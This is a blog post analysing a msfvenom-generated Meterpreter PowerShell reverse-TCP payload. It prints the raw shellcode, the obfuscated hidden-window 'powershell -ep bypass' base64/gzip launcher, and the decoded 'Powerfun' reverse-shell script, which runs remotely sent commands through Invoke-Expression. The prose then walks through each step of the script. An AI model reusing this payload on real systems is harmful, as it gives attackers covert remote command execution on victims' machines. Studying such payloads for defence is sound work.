Meterpreter windows/x64/powershell/reverse-tcp anlysis


Just back to domain penetration, so I started playing with msfvenom.
Bunch of friends said that powershell is a powerful tool which more than I will imagine, so I get this payload and gonna check it out.

A�8�u�LLE9�u�XD�@$I�fA�H�P�H▒D�@ I��VH��A�4�H�M1�H1��A��
                       HD�@I�A��H�AXAX^YZAXAYAZH�� AR��XAYZH��W���]H�H��A�1�o��ջ���VA�������H��(<|
���u�GrojYA����powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAEmOK18CA51W227jNhB991cMXHUtIRZhO9uiDZBFs0q2DZDuGiu3eTAMhKbGsRqZ9JKUL0j87yUlypLjBNtUL7bI4ZkzZy7UDzAUa5SznEMItzLVGjlMt/DR/IxyyVHCO7ikK4Q/qEy2rZaxZDoVHH5HHd7ilGUpcg2txxaYx1szOIfPuA6/TP9BpiEcbZf4mS7QLGpi7KPCvjImfym8xBnNMx1JTMxOSjNlIDwtc9xbDaXYbMkzC7PeWKlsW7ua4rIKrfUIxf6QSrrwy//jWMuU30+8SCwWlCfdw9VYZUzwZ4uXYs0zQZNiNXCYUjBUCpwAC5HkGVqCv/kBlCbpDPzKDYT4DdrTlCftoNgszxVns1QZ+Y3k58bl1vxfEKtaLNgDakVGbHnjLCbvzXN8kChNpbZ+nedi16XovGF3wRgutQEs0+GXVHav0ZW4QqnwmPEeupHyl5hHQ+eo3f91QPo//0Len5L+6Wm7awNx3lulgkpLpAtLt0QnptLiYs3QrAmWCSr52WJpu3w02CmVxRXYKwSR5abotySuTH3nv+vNTFVh13/0RgZ9ByFVMD448xUXQmOEUqezlFGNf9MsTagtvYhm2ZSyh0kQvECHXOR6buvWHrpQr0gTNFJYa1LH1BRtPN1qHE8mnv21xdcjZNAzz9OPj72d0xV5Um37Y40bTZAzkdjKPju7iKPr68Bq/dHa+O1bU6Jircr5EM8xy0DmnBtrMErkypRpG07AQ746s2/cNvmJWTNJ2W8wsVjmut6845FYbmV6P9fgRwEMev2f4M+USaHETEMk5FLIQkECF9ajtVQg0ThYYULu+B13Veg0IXZooV9H1+116xdyg/xez5t1U/Vws3KOCudtUo1PJnBjIK02rv/JnufbuVanPgl5RdnccC5BIeX7+VJb1bTt4x+M5YBU0ZYTrEIKnq75SjxgeLVZGm2V0XuPsjtsxjcp0RnG0DF5LljcCFZkMiBDqudmtfOh879Tt56nGfq+lxY9UB7/ijTxy4rvQq8L3sG5AEKO0DvK7ZWlj8nIhPLaVeUGhDUhRYhXLuQaxbQ5tVQaaG5OFTJX4YCXBs/KykwFq+VRAiCsRm4JPvjwrg9P8CXXYYkKTooDqAEUglTARuTvpAA6NcjGEvFQSiHHvcmBswbrYp+wDKn0g5cYnDdfTONvWsed9J/Kp4b5bus0S+Wocaozn7Jczfe3sBuD7lKJMqHQxVPfi7EWy+oyNF8Srf0XxD457iqE0N0/doD8C7hlUGNFCQAA'))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Which is the raw payload outputted directly from msfvenom terminal with format of shellcode, so lets just ignore those unreadable characters, and go directly to the shell code.The unreadable characters doesn’t seems like shellcode, so I’m just gonna ignore it and leave it there.

The -w switch indicates the window style including normal, hidden, minimized or maximized, so the prompt will hide its window in order to evade its gui user. Otherwise there will be a big-ass prompt telling the user “You just got pwned in the face!”

And according to the following script, System.IO.Compression.CompressionMode::Decompress and the FromBase64Str Function means it decode the base64 encoded string as payload, and after that, it decompress the base64ed string, resulting in our payload, which is

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
function powerfun 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
        $listener = [System.Net.Sockets.TcpListener]4444
        $client = $listener.AcceptTcpClient()
    if ($Command -eq "reverse")
        $client = New-Object System.Net.Sockets.TCPClient("",4444)

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $stream = $sslStream 

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

    if ($Download -eq "true")
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        ForEach ($module in $modules)

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

powerfun -Command reverse -Sslcon true

Including two functions, the first function- Declares a new webclient, and use the proxy and credentials of the variable $wc.

Webclient() is a class-we call it “class” now, which can send and recv data like the session() object in python, and then it sets its proxy and its cred.

Then here goes the main function, powerfun().

As you see, it has 3 params, $Command, $Sslcom, $Download, which we we’ll talk about later.

And the following thing is the function contents. The if switch sets its mode – bind or reverse, by $Command, and then it declares a socket object and listen in specified port- or connect to our target host, as a communication of our reversed shell.

After that, it starts its block transmit and init a ssl connection if the $sslcon set to true, if that, set the $stream to the new ssl object.

Then grab a new bytes array, and send the system info to the meterpreter handler, and then, download module from the server, by foreach module from $module by DownloadString(), which downloads the resource from specified uri.

After that, it sends the prompt to the host, and receive the bytes.

Then it encode the readed string with ascii encode, even it feels weird encoding it again.

Then it get the encoded string from the string len readed from server, , execute the command by Invoke-Expression, redirect the STDERR to STDOUT, and set the sendback to OutString. After that it assembles the response together, and add the prompt.

Then it add the first error content from the $error auto variable, and stick it to the end of the sendback, clear() out the errors, and then send the sendback back to the host, and flush the stream.

Finally, if a zero-length response received, it break the while loop, and close the socket, stop the listener.

Then at the main part, it runs the powerfun() function, with mode we set before.

And there ends the meterpreter payload, you’re welcome.

PS: My grammar is do horrible enough.


Leave a Reply

Your email address will not be published. Required fields are marked *

Back To Top